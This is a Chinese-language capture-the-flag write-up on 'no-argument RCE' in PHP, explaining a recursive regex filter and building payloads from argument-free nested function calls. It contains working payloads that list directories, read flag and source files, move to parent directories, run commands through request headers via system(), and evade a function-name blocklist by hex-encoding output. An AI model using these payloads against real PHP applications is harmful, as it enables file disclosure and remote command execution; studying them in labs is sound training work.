今天借靶场一道题学习无参数RCE
题目
先上源代码
1 |
|
分析
进入发现只有代码,明显是一道无参数RCE题目,即只用函数且函数没有参数
现在,学习代码
preg_replace()
- 基本语法
1 | preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed |
搜索 subject
中匹配 pattern
的部分,以 replacement
进行替换。
pattern
:要搜索的模式,可以是字符串或一个字符串数组
replacement
:用于替换的字符串或字符串数组
subject
:要搜索替换的目标字符串或字符串数组
limit
:可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)
count
:可选,为替换执行的次数
可简化为
1 | preg_replace(pattern, replacement, subject) |
因此对于代码
1 | preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code']) |
便可理解,即为:对传进来的code进行正则匹配,符合正则表达式的部分替换为空,然后返回一个新的字符串
正则表达式
正则表达式(regular expression)描述了一种字符串匹配的模式(pattern),可以用来检查一个串是否含有某种子串、将匹配的子串替换或者从某个串中取出符合某个条件的子串等
正则表达式 – 语法 | 菜鸟教程 (runoob.com)
1 |
|
输出为
1 | A1ABcdEf_23AG |
再看一段代码
1 |
|
输出为
1 | !!!!!!!!!!+-/ |
对比可知道
\w
:匹配数字、字符、空格。等价于[A-Z a-z 0-9 _]
\W
:匹配非数字、非字符、非空格。等价于[^A-Z a-z 0-9 _]
而(?R)
是引用当前表达式的意思,即可以用/[^\W]+\((?R)?\)/
替换到(?R)
的位置
(?R)?
这里多一个?表示可以有引用,也就是说可以衍生匹配。
即:(?R)?
表示递归整个匹配模式
所以/[^\W]+\((?R)?\)/
的意思为:就是匹配无参数的函数,函数内部可以无限嵌套相同的模式,也就是说只匹配字符串+()
的类型,并且括号内为空字符串
或字符串+()
。
总结
对于
1 | preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code']) |
像fun1(fun2(fun3()))
最终会被替换为空,而fun1(fun2(fun3(aaa)))
则不会进行替换,结果仍为fun1(fun2(fun3(aaa)))
常用函数
show_source()
1 | show_source()函数对文件进行语法高亮提示 |
参数 | 描述 |
---|---|
filename | 必需。要进行高亮处理的 PHP 文件的路径。 |
return | 可选。如果设置 true,则本函数返回高亮处理的代码。 |
localeconv()
localeconv() 函数返回一包含本地数字及货币格式信息的数组,且第一个元素为点(.)。
localeconv() 函数会返回以下数组元素:
- [decimal_point] - 小数点字符
- [thousands_sep] - 千位分隔符
- [int_curr_symbol] - 货币符号 (例如:USD)
- [currency_symbol] - 货币符号 (例如:$)
- [mon_decimal_point] - 货币小数点字符
- [mon_thousands_sep] - 货币千位分隔符
- [positive_sign] - 正值字符
- [negative_sign] - 负值字符
- [int_frac_digits] - 国际通用小数位
- [frac_digits] - 本地通用小数位
1 |
|
返回
1 | array(18) { |
pos()
pos() 函数返回数组中的当前元素的值(取第一个元素)。
该函数是 current() 函数的别名。
如果pos()和current()都被过滤了,可以使用reset()。
每个数组中都有一个内部的指针指向它的”当前”元素,初始指向插入到数组中的第一个元素。
相关的方法:
- current() - 返回数组中的当前元素的值
- end() - 将内部指针指向数组中的最后一个元素,并输出
- next() - 将内部指针指向数组中的下一个元素,并输出
- prev() - 将内部指针指向数组中的上一个元素,并输出
- reset() - 将内部指针指向数组中的第一个元素,并输出
- each() - 返回当前元素的键名和键值,并将内部指针向前移动
scandir()
scandir() 函数返回指定目录中的文件和目录的数组。
1 | scandir(directory,sorting_order,context); |
参数 | 描述 |
---|---|
directory | 必需。规定要扫描的目录。 |
sorting_order | 可选。规定排列顺序。默认是 0,表示按字母升序排列。如果设置为 SCANDIR_SORT_DESCENDING 或者 1,则表示按字母降序排列。如果设置为 SCANDIR_SORT_NONE,则返回未排列的结果。 |
context | 可选。规定目录句柄的环境。context 是可修改目录流的行为的一套选项。 |
chr()
chr() 函数从指定的 ASCII 值返回字符。
ASCII 值可被指定为十进制值、八进制值或十六进制值。八进制值被定义为带前置 0,而十六进制值被定义为带前置 0x;
1 |
|
1 | = |
chdir()与getcwd()
chdir()
—改变目录
getcwd()
— 取得当前工作目录
chdir(“..")
—跳转到上层目录,相当于在命令行输入cd..
会返回上一级目录。
localtime()
1 | localtime(timestamp,is_assoc); |
参数 | 描述 |
---|---|
timestamp | 可选。规定 Unix 时间戳。如果未规定 timestamp,则默认为当前的本地时间 time()。 |
is_assoc | 可选。规定返回关联数组还是索引数组。如果为 FALSE,则返回索引数组。如果为 TRUE,则返回关联数组。默认为 FALSE。关联数组的键名如下:[tm_sec] - 秒数[tm_min] - 分钟数[tm_hour] - 小时[tm_mday] - 月份中的第几天[tm_mon] - 年份中的第几个月,从 0 开始表示一月份[tm_year] - 年份,从 1900 开始[tm_wday] - 星期中的第几天 (Sunday=0)[tm_yday] - 年中的第几天[tm_isdst] - 夏令时当前是否生效 |
常用方法
方法一
利用scandir()
我们知道scandir()
函数式能够读取目录源码,但是他必须带有参数('.')
也就是scandir('.')
,但是上面的正则匹配不允许出现函数里面有点的,所以我们要想办法构造这个点。
利用localeconv()
取点,localeconv()
会返回当地的金融信息的数组,而第一个元素即为点
只需取第一个元素即可, pos()
、current()
均可。
1 |
|
结合起来即
1 |
|
使用end读取后一个文件名读取flag
1 | var_dump(end(scandir(pos(localeconv())))); |
使用readfile读取flag
1 | var_dump(readfile(end(scandir(pos(localeconv()))))); |
方法二
利用当前秒数构造点 ,利用localtime()
中返回的秒数来构造点,.
的aiisc码正好是46在60秒之内,我们只需等到46秒时候就能将点给构造出来。
chr(current(localtime(time())))
利用chr(46)
就是字符.
数组第一个值每秒+1,所以最多60秒就一定能得到46
1 | var_dump(chr(pos(localtime()))); |
方法三
利用SESSIONID来传参
1 | show_source(session_id(session_start())); |
在cookie出传参
1 | PHPSESSID=flag.php |
方法四
利用 getallheaders()
来获取参数RCE
1 | echo(system(end(getallheaders()))); |
在最后在最后一条请求头添加
1 | cat flag.php |
读取目录文件
- 如果文件是最后一个,可以用
1 | show_source(end(scandir(getcwd()))); |
或者用
readfile()
、highlight_file()
、file_get_contents()
、readgzfile()
等读文件函数
- 如果文件是倒数第二个,可以用
1 | show_source(next(array_reverse(scandir(getcwd())))); |
array_reverse()
以相反的元素顺序返回数组
- 如果不是数组的最后一个或者倒数第二个,可以用
1 | show_source(array_rand(array_flip(scandir(getcwd())))); |
或者:
1 | show_source(array_rand(array_flip(scandir(current(localeconv()))))); |
array_flip()
函数会交换数组的键名和键值,array_rand()
函数会返回数组中的随机键名
跳转目录情况
- 假设flag在上层目录文件的情况,我们需要跳转到上层目录。
chdir()
函数当参数为两个点的时候能够跳转到上层目录。scandir()
,读取当前目录在第二个元素就能读取两个点localtime
第一个参数是时间戳,所以我们不能直接嵌套,需要带一个time函数作为嵌套、time函数能够返回时间戳- 构造读取上层目录payload
1 | echo(implode(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))); |
- 构造读取上层目录文件payload
1 |
|
其他小技巧
- 利用三角函数构造斜杠
1 | chr(floor(tan(tan(atan(atan(ord(cos(fclose(tmpfile()))))))))); |
- 利用随机令牌构造点
1 | echo(implode(scandir(chr(strrev(uniqid()))))); |
- 利用chr(46)就是字符
.
phpversion()会返回php版本,如5.6.27
1 | floor(phpversion())`返回`5 |
即:chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))
等于.
- 查看上一级目录文件名
1 | print_r(scandir(dirname(getcwd()))); |
1 | print_r(scandir(next(scandir(getcwd())))); |
小结
利用相关特性构造函数的参数,做到无参数RCE
1 | getchwd() 函数返回当前工作目录。 |
解答
1 |
|
- 分析
首先对传入的code进行正则匹配,符合后替换为;
,通过第一个if语句
其后对危险函数进行过滤
1 | ses|pos|end|next|name|chdir|var|impolode|tan|tall|sys|eval|var|high|show|read|base|url|print |
包括大小写,所以只能用未被过滤的函数来构造payload
eval()
执行传入的code,然后赋值给$a
最后对$a
进行检查,如果有flag
,直接die掉
- 构造payload
用file_get_contents()
将整个文件读入一个字符串,利用eval()
赋值给$a
,最后通过echo()
打印出来
又因不知道flag.php
位置且被过滤了end()
,next()
等函数,因此用array_rand(array_flip())
来抓娃娃,获取一个随机的文件名
即
1 | file_get_contents(array_rand(array_flip(scandir(current(localeconv()))))); |
直接执行会因为对题目对$a
进行了正则匹配过滤掉flag,所以需要对所读文件进行加密,而base64
也被过滤了,所以用十六进制加密,得到最终payload
1 | bin2hex(file_get_contents(array_rand(array_flip(scandir(current(localeconv())))))); |
因为是随机读取,所以多抓几次即可
然后对密文解密即可
1 |
|
得到flag